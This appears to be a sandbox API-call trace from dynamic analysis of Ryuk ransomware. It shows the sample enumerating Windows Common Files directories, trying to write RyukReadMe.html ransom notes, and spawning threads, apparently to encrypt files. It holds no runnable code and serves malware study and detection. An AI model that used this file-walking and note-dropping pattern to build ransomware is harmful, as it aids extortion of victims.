	[0168.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.347] GetLastError () returned 0x5
	[0168.347] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.348] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0
	[0168.348] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0168.348] SetLastError (dwErrCode=0x0) 
	[0168.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.348] GetLastError () returned 0x5
	[0168.348] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.349] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0168.349] FindClose (in: hFindFile=0x79ce0 | out: hFindFile=0x79ce0) returned 1
	[0168.349] SetLastError (dwErrCode=0x0) 
	[0168.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.349] GetLastError () returned 0x5
	[0168.349] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.349] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0168.350] SetLastError (dwErrCode=0x0) 
	[0168.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.350] GetLastError () returned 0x5
	[0168.350] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.350] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79ce0
	[0168.490] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.490] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0168.490] SetLastError (dwErrCode=0x0) 
	[0168.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.490] GetLastError () returned 0x5
	[0168.490] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0168.668] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.668] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x68, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0168.668] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0168.671] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.672] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x68, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0168.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968
	[0168.675] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.675] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0168.675] SetLastError (dwErrCode=0x0) 
	[0168.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.676] GetLastError () returned 0x5
	[0168.676] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.676] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0168.676] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.677] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x70, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0168.677] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x70, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0
	[0168.677] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0168.677] SetLastError (dwErrCode=0x0) 
	[0168.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.677] GetLastError () returned 0x5
	[0168.677] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.678] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0168.678] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0168.678] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0168.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c
	[0168.857] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.858] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0168.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974
	[0168.862] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.862] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0168.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978
	[0168.865] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.865] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0168.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0168.869] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.869] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0168.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980
	[0168.871] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.872] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0168.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984
	[0168.875] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.875] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0168.875] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0168.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988
	[0168.878] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.879] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0168.879] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0168.879] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
	[0168.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c
	[0168.882] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.883] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0168.883] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0
	[0168.883] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0169.157] SetLastError (dwErrCode=0x0) 
